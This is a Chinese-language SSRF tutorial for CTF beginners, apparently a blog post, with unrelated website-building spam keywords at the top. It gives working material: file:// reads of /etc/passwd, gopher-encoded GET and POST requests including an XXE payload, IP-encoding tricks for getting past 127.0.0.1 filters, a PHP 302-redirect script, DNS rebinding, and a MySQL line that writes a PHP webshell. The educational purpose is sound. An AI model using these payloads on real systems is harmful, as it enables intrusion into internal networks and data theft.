潍坊网站建设推广报价,网站底部源码,眉山网站开发,企业网站建设能解决什么问题目录
SSRF速览
伪协议
总览
file伪协议
dict伪协议
http协议
gopher伪协议
绕过
127限制绕过
302重定向绕过
DNS重绑定绕过
利用
gopher模拟请求打内网其他漏洞
Gopherus乱杀打组件 先看这篇文章#xff1a;https://z3r4y.blog.csdn.net/article/details/135458…目录
SSRF速览
伪协议
总览
file伪协议
dict伪协议
http协议
gopher伪协议
绕过
127限制绕过
302重定向绕过
DNS重绑定绕过
利用
gopher模拟请求打内网其他漏洞
Gopherus乱杀打组件 先看这篇文章https://z3r4y.blog.csdn.net/article/details/135458329
本文属于更详细讲解相关知识对萌新更友好 SSRF速览
SSRF(service side request firgery)
攻击的目标无法从外网访问的内部系统 形成的原因大部分是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
例如
①从指定的URL地址获取网页文本内容
②加载指定地址的图片下载
③识图给出一串URL就能识别出图片 攻击方式借助主机A发起SSRF攻击通过主机A向主机B(可以是A所在内网的其他服务器)发起请求从而获取主机B的一些信息进而利用SSRF实现其他漏洞利用。
例如
①利用file协议读取本地文件
②对服务器所在内网、本地进行端口扫描获取一些服务的banner信息
③攻击运行在内网或本地的应用程序
④对内网web应用进行指纹识别识别企业内部的资产信息
⑤攻击内外网的web应用主要是使用HTTP GET请求就可以实现的攻击 伪协议
总览
file:// 从文件系统获取文件内容 如 file:///etc/passwd
dict:// 字典服务协议访问字典资源 如 dict:///ip:6739/info
ftp:// 可用于网络端口扫描
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传输服务 file伪协议
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的ip
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_trie 显示当前网段路由信息 dict伪协议
可用于扫描端口(查找内网主机开放端口)、获取内网信息、爆破密码等 http协议
作用常规URL形式允许通过HTTP 1.0的GET方法以只读访问文件或资源(通过目录扫描获取网站子页面)
可以用dirsearch这些目录扫描工具替代 gopher伪协议
利用范围较广GET提交、POST提交、redis、Fastcgi、sql
gopher协议默认端口是70 gopher请求不转发第一个字符
例如
发送端curl gopher://127.0.0.1/abcd
接收端bcd 发送端curl gopher://127.0.0.1/_abcd
接收端abcd SSRF中利用gopher协议发送GET/POST请求(建议用bp发包)
注意换行符:%0D%0A 回车换行要变为%0D%0A,如果直接用工具转可能只有%0A 在http包的最后要加%0D%0A,代表消息结束
GET提交最后要增加一个换行符 GET示例
urlgopher://127.0.0.1:80/_
GET /?nameZ3r4y HTTP/1.1 Host: www.example.com url两次编码(一次给SSRF主机解码一次给example.com解码)
下面用网页工具来url编码也可以直接bp内置url全编码
CTF在线工具-在线URL编码|URL解码
urlgopher://127.0.0.1:80/_%250D%250AGET%2520/%253Fname%253DZ3r4y%2520HTTP/1.1%250AHost%253A%2520www.example.com%250D%250A POST示例
gopher://127.0.0.1:80/_
POST /xxe.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 180
?xml version1.0 encodingutf-8? !DOCTYPE info [ !ENTITY name SYSTEM php://filter/readconvert.base64-encode/resource/flag ] info namename; /name/info
url一次编码
%0D%0APOST%20/xxe.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Length%3A%20180%0D%0A%0D%0A%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0D%0A%3C%21DOCTYPE%20info%20%5B%20%20%0D%0A%3C%21ENTITY%20name%20SYSTEM%20%22php%3A//filter/read%3Dconvert.base64-encode/resource%3D/flag%22%3E%20%5D%3E%20%0D%0A%3Cinfo%3E%0D%0A%3Cname%3E%26name%3B%0D%0A%3C/name%3E%3C/info%3E%0D%0A
url两次编码后
urlgopher://127.0.0.1/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A%0A 绕过
127限制绕过
ctf中经常限制访问本地网站的内容 $_SERVER[REMOTE_ADD]127.0.0.1 而127.0.0.1往往会被ban
一般有以下几种方式绕过
1 enclosed alphanumerics 绕过在有些环境中可以
127.0.0.1
127.⓿.⓿.1
2 使用IP地址转换
所有的域名-IP
ip可以使用不同进制来表示
IP地址十六进制、二进制、十进制转换-ME2在线工具
127.0.0.1用不同进制可以表示为 - 2130706433 10进制 http://2130706433 - 017700000001 8进制 http://017700000001 - 7F000001 16进制 http://0x7F000001 3 特殊语法绕过
Windows 下 0 代表的是0.0.0.0 而Linux 下 0 代表的是127.0.0.1
127.0.0.1 可以省略为 127.1Windows和Linux下均可
127。0。0。1 可以替代127.0.0.1Linux可 4 利用短网址绕过
站长工具 在线短网址生成_短网址在线生成
baidu.com 不允许出现baidu
或者限制了url长度我们可以切换为短网址来绕过长度的限制
http://rurl.vip/eW7AU 302重定向绕过 如果对方可以接受302跳转并且跟进302跳转
可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schemagopherhost127.0.0.1port9000queryxxxx
?php
$schema $_GET[s];
$ip $_GET[i];
$port $_GET[p];
$query $_GET[q];
if(empty($port)){ header(Location: $schema://$ip/$query);
} else {header(Location: $schema://$ip:$port/$query);
}
起服务器用这个指令(不能用python -m http.server 8888因为要解析php代码) php -S 0.0.0.0:8888 DNS重绑定绕过
SSRF防御模式 我们可以看到客户端和服务端分别都对URL进行了请求即走了两次DNS域名解析
第一次DNS解析对URL的host进行DNS解析 第二次DNS解析使用CURL发包的时候进行解析 攻击原理利用服务器两次解析同一域名的短暂间隙更换域名背后的ip第一次DNS解析的IP设为合法IP第二次DNS解析的IP设为内网IP从而SSRF访问内网 注意DNS重绑定是有概率成功不是一次就能打通得看运气
推荐这个网址CEYE - Monitor service for security testing 利用
gopher模拟请求打内网其他漏洞
当漏洞存在于内网其他端口时我们可以利用SSRF来打。
本质是用gopher/http协议模拟浏览器请求(GET/POST)行为来利用其他漏洞如XXESQL注入文件上传文件包含甚至一些CVE漏洞(对tomcat文件写入CVE-2017-12615)只要是我们能用手打出来的都可以用gopher来打不过是把请求头请求体塞进gopher伪协议后面不多赘述懂得都懂。 Gopherus乱杀打组件
GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
①使用SSRF对mysql进行未授权查询 ②使用SSRF对mysql进行未授权文件写入 (select ?php eval($_POST[1]);? into outfile /var/www/html/shell.php)
③使用SSRF对redis未授权漏洞利用如webshell写入ssh公钥写入计划任务反弹shell
④使用SSRF打redis主从复制
......